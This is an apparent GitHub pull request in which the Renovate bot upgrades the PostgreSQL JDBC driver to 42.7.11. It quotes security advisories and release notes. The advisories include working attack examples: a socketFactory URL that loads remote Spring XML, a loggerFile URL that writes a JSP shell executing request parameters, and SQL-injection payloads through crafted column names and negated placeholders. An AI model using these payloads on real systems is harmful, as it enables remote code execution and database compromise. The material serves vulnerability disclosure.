Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-org.postgresql-postgresql-vulnerability
Open

Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-org.postgresql-postgresql-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Mar 16, 2023•
edited
Loading

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

CVE-2022-21724 / GHSA-v7wg-cpwc-24m4

More information

Details

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

pgjdbc Arbitrary File Write Vulnerability

GHSA-673j-qm5f-xpv8

More information

Details

Overview

The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.

It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.

While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.

If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.

Impact

It is possible to specify an arbitrary filename in the loggerFileName connection parameter
"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"

This creates a valid JSP file which could lead to a Remote Code Execution

Patches

LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3

Workarounds

sanitize the inputs to the driver

Reported by Allan Lou v3ged0ge@gmail.com

Severity

Medium

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Path traversal in org.postgresql:postgresql

CVE-2022-26520 / GHSA-727h-hrw8-jg8q

More information

Details

In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names

CVE-2022-31197 / GHSA-r38f-c4h4-hqq2

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.

User applications that do not invoke the ResultSet.refreshRow() method are not impacted.

User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.

For example:

CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);

This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.

As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.

Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.

Patches

Has the problem been patched? What versions should users upgrade to?

Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Check that you are not using the ResultSet.refreshRow() method.

If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

TemporaryFolder on unix-like systems does not limit access to created files

CVE-2022-41946 / GHSA-562r-vg33-8x8h

More information

Details

Vulnerability

PreparedStatement.setText(int, InputStream)
and

PreparedStatemet.setBytea(int, InputStream)

will create a temporary file if the InputStream is larger than 51k

Example of vulnerable code:

Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );

This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.

Impact
On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.

This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.

When analyzing the impact of this vulnerability, here are the important questions to ask:

Is the driver running in an environment where the OS has other untrusted users.
If yes, and you answered 'yes' to question 1, this vulnerability impacts you.
If no, this vulnerability does not impact you.
Patches
Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.

Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1
Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7
Java 1.6 and lower users: no patch is available; you must use the workaround below.
Workarounds
If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.

References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Fix commit pgjdbc/pgjdbc@9008dc9
Similar Vulnerabilities
Google Guava - https://github.com/google/guava/issues/4011
Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945
JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824

Severity

  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

org.postgresql:postgresql vulnerable to SQL Injection via line comment generation

CVE-2024-1597 / GHSA-24rp-q3w6-vc56

More information

Details

Impact

SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.

There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.

Exploitation

To exploit this behavior the following conditions must be met:

  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.

The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.

When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.

Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();

The resulting SQL when operating in simple query mode would be:

SELECT--1,'WHERE false --'

The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.

Patch

Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7

The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:

SELECT-('-1'::int4), ('WHERE false --')
Workarounds

Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS

CVE-2026-42198 / GHSA-98qh-xjc8-98pq

More information

Details

Summary

pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.

Impact

A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.
With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.
A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.

In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.

This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.

A user is vulnerable when all of the following are true:

  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.

In practice, that can happen in these situations:

  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)

The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.

Patches

The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.

Workarounds

Until a patched version of pgjdbc is deployed, the following measures reduce exposure:

  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

  3. Avoid SCRAM on untrusted or interceptable connection paths.
    For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

  4. Reduce blast radius operationally.
    Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pgjdbc/pgjdbc (org.postgresql:postgresql)

v42.7.11

Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    See the Security Advisory for more detail.
    The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905

v42.7.10

Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted

v42.7.9

Compare Source

Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907

v42.7.8

Compare Source

Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation

v42.7.7

Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    Fix channel binding required handling to reject non-SASL authentication
    Previously, when channel binding was set to "require", the driver would silently ignore this
    requirement for non-SASL authentication methods. This could lead to a false sense of security
    when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    channel binding is set to "require", the driver will reject connections that use
    non-SASL authentication methods or when SASL authentication has not completed properly.
    See the Security Advisory for more detail. Reported by George MacKerron
    The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings

v42.7.6

Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613

v42.7.5

Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362

v42.7.4

Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335

v42.7.3

Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8

v42.7.2

Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082

v42.7.1

Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot changed the title Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovate
renovateBot deleted the renovate/maven-org.postgresql-postgresql-vulnerability branch March 27, 2026 00:45
@renovaterenovateBot changed the title Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/maven-org.postgresql-postgresql-vulnerability branch 2 times, most recently from c29cb62 to aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot changed the title Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
@renovaterenovateBot changed the title Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot reopened this Apr 28, 2026
@renovate
renovateBotforce-pushed the renovate/maven-org.postgresql-postgresql-vulnerability branch 2 times, most recently from aa15a13 to 45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed the renovate/maven-org.postgresql-postgresql-vulnerability branch from 45ddb13 to 101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot changed the title Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all 
